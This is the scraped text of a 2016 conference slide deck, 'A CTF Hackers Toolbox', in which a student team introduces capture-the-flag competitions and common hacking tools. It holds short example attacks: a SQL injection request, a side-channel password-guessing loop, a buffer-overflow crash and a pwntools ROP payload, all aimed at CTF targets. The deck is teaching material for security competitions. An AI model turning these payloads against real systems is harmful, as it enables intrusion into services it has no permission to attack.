TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
 
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
 
top nidhi software solution freedownload
top nidhi software solution freedownloadtop nidhi software solution freedownload
top nidhi software solution freedownload
 
Developing Distributed High-performance Computing Capabilities of an Open Sci...
Developing Distributed High-performance Computing Capabilities of an Open Sci...Developing Distributed High-performance Computing Capabilities of an Open Sci...
Developing Distributed High-performance Computing Capabilities of an Open Sci...
 
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdfDominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
 
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
 
May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
 
Graphic Design Crash Course for beginners
Graphic Design Crash Course for beginnersGraphic Design Crash Course for beginners
Graphic Design Crash Course for beginners
 
Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024
 
RISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent EnterpriseRISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent Enterprise
 
A Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of PassageA Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of Passage
 

A CTF Hackers Toolbox

  • 1. A CTF Hackers Toolbox Grazer Linuxtage 2016
  • 2. $ who mike/@f0rki f0rki@hack.more.systems CS/InfoSec Student CTF Player since 2010 @stefan2904 stefan@hack.more.systems CS/InfoSec/CI Student CTF Player since 2014
  • 3. CTF: Capture The Flag Collaborative hacking competitions Teams vs. Teams The goal is to capture ags
  • 5. CTF Type: Jeopardy Figure: Sharif CTF Challenge Board
  • 6. CTF Type: Attack-Defense Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
  • 7. CTF Type: Attack-Defense Figure: FAUST CTF 2015 scoreboard
  • 8. Why CTFs? It's fun! Gain experience in Information Security Challenges modeled after real-world problems Sometimes real-world bugs modeled after CTF bugs?
  • 9. LosFuzzys: A CTF Team in Graz We Like Bugs!
  • 10. LosFuzzys: A CTF Team in Graz A group of people interested in information security Primarily CS/SW/ICE Students from TUGraz But we welcome anyone interested and motivated :) and maybe even you ;) Irregular Meet-ups
  • 11. Where to start? Talk to us! :-) https://hack.more.systems twitter: @LosFuzzys Read writeups! Repo: github.com/ctfs Ours: hack.more.systems/writeups
  • 13. CTF Toolbox Great diversity of challenges Some things turn up frequently Knowledge of technology necessary Experience helps a lot Using the right tools is essential assuming you know how to use them . . .
  • 14. Scripting is your best Friend Be comfortable in automating things Use whatever works best bash, zsh etc. Python, Ruby etc.
  • 15. Command-Line-Fu is very helpful Standard utils grep, sed, awk, sort, cut, uniq, . . . Network stu nc, socat, dig, nmap Query json jq HTTP curl . . . Pipe together to get your results!
  • 16. Bash Password Guessing f o r x in q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ? do echo = $x = # count s i g a c t i o n s y s c a l l s s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 | grep s i g a c t i o n | wc −l done log # get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char cat log | grep −B 1 $ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
  • 17. Automated Browsing python-requests import r e q u e s t s URL = ' http :// c t f . example . com ' s = r e q u e s t s . s e s s i o n () r = s . post (URL + ' / l o g i n ' , data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' }) # GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x resp = s . get (URL + ' / vuln ' , params={ ' x ' : ' ' or 1=1 −−x ' }) # s e s s i o n cookie automagically used here p r i n t resp . t e x t # f l a g {some_flag_of_some_service}
  • 18. Dirty Networking pwntools from pwn import ∗ r = remote ( ' c t f . example . com ' , 1337) # l i n e based r . r e c v l i n e () r . s e n d l i n e ( 'HELO %s%s%s%s ' ) r . r e c v u n t i l ( ' 250 Hello ' ) data = r . recv (4) # unpack LE uint32 from bin i = u32 ( data ) log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i )) # pack BE uint32 to bin r . send ( p32 (1094795585 , endian=' big ' )) r . r e c v l i n e ()
  • 19. Finding Analyzing Vulnerabilities
  • 20. Analyzing Java/.NET Apps Great decompilers! Java/Dalvik bytecode intellij built-in decompiler (fernower), procyon http://www.javadecompilers.com/ Android apps/Dalvik bytecode apktool, smali/baksmali, jadx Xposed .NET bytecode ILSpy, Jetbrains dotPeek
  • 21. A wild binary appears! $ f i l e ./ pwn pwn : ELF 32− b i t LSB executable , I n t e l 80386 , v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked , f o r GNU/ Linux 2 . 6 . 2 4 , not s t r i p p e d
  • 22. $ objdump -d ./pwn | less
  • 23.
  • 25.
  • 26.
  • 27.
  • 28. radare2 example commands Search for functions containing exec afl~exec Show/search all strings in the le izz izz~FLAG Compute CRC32 over next 32 byte #crc32 32
  • 29. Binary Decompilers No really good open source binary decompilers :( The radare guys are working on one Commercial/Closed-Source Hex-Rays/IDA Pro Decompiler ($$$) Hopper ($) retdec (free, webservice, no x86_64)
  • 31.
  • 32.
  • 33. Debuggers Use gdb with one of those: PEDA GEF pwndbg voltron gdb-dashboard gdb alternatives: lldb, radare2 Newer debugging approaches qira rr
  • 34. Pwning! $ mkfifo ./ f i f o $ ./ pwn ./ f i f o python −c ' p r i n t (A∗4128) ' ./ f i f o [ 1 ] 9391 The f i l e has been saved s u c c e s s f u l l y [ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o $ dmesg | t a i l −n 1 pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141 sp 00000000 ffb6d340 e r r o r 14
  • 35. pwntools again! from pwn import ∗ # NOQA v e l f = ELF( ./ pwn ) r = ROP( v e l f ) r . c a l l ( e x i t , [ 4 2 ] ) payload = A ∗ 4124 + s t r ( r ) # launch process vp = process ( [ ./ pwn , ./ f i f o ] ) gdb . attach ( vp ) # break ∗0 x8048f4e with open ( ./ f i f o , w ) as f : f . w r i t e ( payload ) # forward s t d i n / stdout to process s t d i n / stdout vp . i n t e r a c t i v e ()
  • 36.
  • 37.
  • 38. pwntools/binjitsu I/O abstraction (called Tubes) ELF parser/info Return Oriented Programming (ROP) Shellcode plug'n'pwn shellcode builder Binary data parsing . . .
  • 40. Crypto Tools Pen Paper sage CAS python packages implementing attacks, e.g. python-paddingoracle hashpumpy (hash length extension attack) . . .
  • 41. Learn to Improvise Premature optimization* is the root of all evil! * also commenting code * also clean code (only true for attack during CTFs!) If it works once, . . . it works! Code-reuse between dierent CTFs! Post-CTF code cleanup would be good . . .
  • 42. A fool with a tool is still a fool!
  • 43. https://hack.more.systems Thanks to all LosFuzzys members tuflowgraphy.at realraum IAIK
  • 44. Writeups of Used Examples https://hack.more.systems/writeups 9447ctf: premonition (web) NDH quals 2016: matriochka (reversing) NDH quals 2016: secure le reader (pwn) don't be eve!